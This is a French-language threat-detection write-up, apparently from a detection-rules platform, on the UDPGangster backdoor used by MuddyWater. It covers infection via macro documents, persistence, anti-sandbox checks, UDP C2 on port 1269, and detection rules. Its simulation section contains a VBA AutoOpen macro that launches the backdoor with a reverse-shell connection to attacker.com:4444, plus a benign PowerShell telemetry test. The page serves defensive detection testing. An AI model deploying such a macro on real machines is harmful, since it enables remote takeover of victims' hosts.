Attaques UDGGangster Se Propagent à Travers Plusieurs Pays
Detection stack
- AIDR
- Alert
- ETL
- Query
Résumé
UDPGangster est un backdoor basé sur UDP utilisé par le groupe de menace MuddyWater pour contrôler à distance des hôtes Windows. La compromission initiale se fait via un document Word malveillant qui utilise des macros VBA pour déposer et lancer la charge utile. Le logiciel malveillant effectue des vérifications anti-analyse approfondies et maintient sa persistance en se copiant dans le répertoire AppData de l’utilisateur et en créant une clé Run. Des campagnes récentes ont été observées ciblant des utilisateurs en Turquie, Israël et Azerbaïdjan.
Enquête
Les laboratoires FortiGuard ont examiné les e-mails de phishing, la macro VBA intégrée, l’exécutable déposé, et ses techniques de persistance. Ils ont extrait des indicateurs tels que les chemins de fichiers, les entrées de registre Run, les noms de mutex, et l’infrastructure C2 associée. La corrélation des adresses IP, des domaines et des chemins PDB a permis aux analystes de relier cette activité à des opérations antérieures de MuddyWater.
Atténuation
Les mesures d’atténuation incluent le blocage des macros ou une formation utilisateur robuste pour empêcher l’exécution des macros, et le déploiement de défenses aux points d’extrémité qui surveillent les écritures de fichiers suspects dans les dossiers publics ou de profil utilisateur, ainsi que les modifications des clés de registre Run. Les équipes réseau devraient surveiller le trafic UDP anormal sur le port 1269 et bloquer les adresses IP et domaines malveillants connus pour perturber les canaux C2.
Réponse
Lorsqu’une activité de UDPGangster est détectée, isolez le point d’extrémité impacté, collectez la mémoire volatile et les images complètes du disque, et recherchez le binaire du backdoor et les artefacts associés. Bloquez l’infrastructure C2 identifiée, réalisez une analyse judiciaire approfondie pour découvrir tout système compromis supplémentaire, et mettez à jour les signatures de sécurité pour détecter à la fois les documents malveillants macro et la charge utile backdoor.
graph TB %% Class Definitions classDef action fill:#99ccff classDef malware fill:#ff6666 classDef process fill:#66ff66 %% Node definitions action_phishing[« <b>Action</b> – <b>T1566.001 Pièce jointe de spearphishing</b> : Courriel contenant un document Word malveillant et une archive ZIP. »] class action_phishing action action_macro[« <b>Action</b> – <b>T1059.005 Interpréteur de commandes et de scripts : VBA</b> : La macro Document_Open décode une charge utile Base64 vers C:\\Users\\Public\\ui.txt. »] class action_macro action action_vba_stomping[« <b>Action</b> – <b>T1564.007 Dissimulation d’artefacts : VBA Stomping</b> : Le binaire malveillant est dissimulé dans la macro et se matérialise à l’exécution. »] class action_vba_stomping action action_obfuscation[« <b>Action</b> – <b>T1027.004 Compilation après livraison</b> : Charge utile obfusquée via encodage Base64 et techniques au moment de la compilation. »] class action_obfuscation action action_persistence_copy[« <b>Action</b> – <b>T1547.014 Exécution au démarrage ou à l’ouverture de session</b> : Copie la porte dérobée vers %AppData%\\RoamingLow\\SystemProc.exe. »] class action_persistence_copy action action_registry_persistence[« <b>Action</b> – <b>T1547.014 Clé Run du registre</b> : Crée une entrée de démarrage HKCU\\Software\\Microsoft\\Windows\\CurrentVersion\\Explorer\\User Shell. »] class action_registry_persistence action action_anti_sandbox[« <b>Action</b> – <b>T1497.002 Évasion de sandbox par virtualisation</b> : Détection de débogueur, nombre de cœurs CPU, taille de la RAM, préfixe MAC, statut de domaine, requêtes WMI, analyses du registre et vérifications de DLL de sandbox connues. »] class action_anti_sandbox action action_c2_udp[« <b>Action</b> – <b>T1571 Port non standard</b> : Communication avec le C2 via le port UDP 1269. »] class action_c2_udp action action_raw_udp[« <b>Action</b> – <b>T1095 Protocole hors couche applicative</b> : Utilisation de paquets UDP bruts pour le trafic. »] class action_raw_udp action action_data_encoding[« <b>Action</b> – <b>T1132.002 Encodage personnalisé</b> : Les informations système sont encodées par transformation rotation‑droite avant l’exfiltration. »] class action_data_encoding action malware_backdoor[« <b>Malware</b> : Binaire de porte dérobée personnalisé »] class malware_backdoor malware process_c2[« <b>Processus</b> : Serveur C2 distant »] class process_c2 process %% Connections showing attack flow action_phishing u002du002du003e|livre| action_macro action_macro u002du002du003e|se matérialise via| action_vba_stomping action_vba_stomping u002du002du003e|obfusque| action_obfuscation action_obfuscation u002du002du003e|copie vers AppData| action_persistence_copy action_persistence_copy u002du002du003e|crée une clé Run| action_registry_persistence action_registry_persistence u002du002du003e|active| malware_backdoor action_vba_stomping u002du002du003e|exécute| action_anti_sandbox action_anti_sandbox u002du002du003e|si validé| action_c2_udp action_c2_udp u002du002du003e|utilise| action_raw_udp action_raw_udp u002du002du003e|envoie des données encodées| action_data_encoding action_data_encoding u002du002du003e|vers| process_c2 process_c2 u002du002du003e|contrôle| malware_backdoor
Flux d’attaque
Détections
Détection de la communication C2 de UDPGangster via le port UDP 1269 [Connexion réseau Windows]
Voir
Exécution de commandes à distance UDPGangster via CreateProcessA et cmd.exe [Création de processus Windows]
Voir
Détection de la création de mutex UDPGangster [Windows Sysmon]
Voir
IOCs (SourceIP) à détecter : Campagnes UDPGangster ciblant plusieurs pays
Voir
IOCs (DestinationIP) à détecter : Campagnes UDPGangster ciblant plusieurs pays
Voir
Exécution de simulation
Condition préalable : La vérification pré-vol de télémétrie et de base doit avoir réussi.
Raisonnement : Cette section détaille l’exécution précise de la technique de l’adversaire (TTP) conçue pour déclencher la règle de détection. Les commandes et le récit DOIVENT refléter directement les TTPs identifiés et viser à générer la télémétrie exacte attendue par la logique de détection.
-
Récit des attaques et commandes :
Un attaquant délivre un document Word malveillant contenant une macro VBA. La macro appelle l’API WindowsCreateProcessApour lancercmd.exeet exécuter la charge utile UDPGangster (udp_gangster.exe). La charge utile établit un shell inversé au serveur C2 de l’attaquant. Comme la macro passe explicitement la chaîne “CreateProcessA” et le littéralcmd.exedans la ligne de commande, la règle de détection se déclenchera.-
Macro VBA (simplifiée) – démontre l’appel API :
Private Declare PtrSafe Function CreateProcessA Lib "kernel32" _ (ByVal lpApplicationName As String, ByVal lpCommandLine As String, _ ByVal lpProcessAttributes As LongPtr, ByVal lpThreadAttributes As LongPtr, _ ByVal bInheritHandles As Long, ByVal dwCreationFlags As Long, _ ByVal lpEnvironment As LongPtr, ByVal lpCurrentDirectory As String, _ ByRef lpStartupInfo As STARTUPINFO, ByRef lpProcessInformation As PROCESS_INFORMATION) As Long Sub AutoOpen() Dim cmdLine As String cmdLine = "cmd.exe /c ""%TEMP%udp_gangster.exe -c attacker.com:4444""" Dim si As STARTUPINFO Dim pi As PROCESS_INFORMATION Call CreateProcessA(vbNullString, cmdLine, 0, 0, 1, &H00000010, 0, vbNullString, si, pi) End Sub -
Déployez la macro, ouvrez le document, et laissez la macro s’exécuter. L’événement de création de processus résultant contiendra :
CommandLine : cmd.exe /c "%TEMP%udp_gangster.exe -c attacker.com:4444"
-
-
Script de test de régression : Le script PowerShell suivant reproduit la télémétrie exacte sans nécessiter un document Word. Il appelle l’API Win32 native
CreateProcessAviaAdd-Type.# Test de régression : appel direct de CreateProcessA avec cmd.exe $source = @" using System; using System.Runtime.InteropServices; public class NativeMethods { [StructLayout(LayoutKind.Sequential, CharSet=CharSet.Ansi)] public struct STARTUPINFO { public int cb; public string lpReserved; public string lpDesktop; public string lpTitle; public uint dwX; public uint dwY; public uint dwXSize; public uint dwYSize; public uint dwXCountChars; public uint dwYCountChars; public uint dwFillAttribute; public uint dwFlags; public short wShowWindow; public short cbReserved2; public IntPtr lpReserved2; public IntPtr hStdInput; public IntPtr hStdOutput; public IntPtr hStdError; } [StructLayout(LayoutKind.Sequential)] public struct PROCESS_INFORMATION { public IntPtr hProcess; public IntPtr hThread; public uint dwProcessId; public uint dwThreadId; } [DllImport("kernel32.dll", CharSet=CharSet.Ansi, SetLastError=true)] public static extern bool CreateProcessA( string lpApplicationName, string lpCommandLine, IntPtr lpProcessAttributes, IntPtr lpThreadAttributes, bool bInheritHandles, uint dwCreationFlags, IntPtr lpEnvironment, string lpCurrentDirectory, ref STARTUPINFO lpStartupInfo, out PROCESS_INFORMATION lpProcessInformation); } "@ Add-Type $source $si = New-Object NativeMethods+STARTUPINFO $si.cb = [Runtime.InteropServices.Marshal]::SizeOf([NativeMethods+STARTUPINFO]) $pi = New-Object NativeMethods+PROCESS_INFORMATION $cmd = 'cmd.exe /c "echo UDPGangster simulation > $env:TEMPudp_gangster.log"' $result = [NativeMethods]::CreateProcessA($null, $cmd, [IntPtr]::Zero, [IntPtr]::Zero, $true, 0x00000010, [IntPtr]::Zero, $null, [ref]$si, [ref]$pi) if (-not $result) { Write-Error "CreateProcessA failed: $([Runtime.InteropServices.Marshal]::GetLastWin32Error())" } else { Write-Host "CreateProcessA succeeded, command line logged." } -
Commandes de nettoyage : Supprimez l’artefact créé pendant la simulation.
# Supprimez le fichier journal temporaire généré par la simulation Remove-Item -Path "$env:TEMPudp_gangster.log" -ErrorAction SilentlyContinue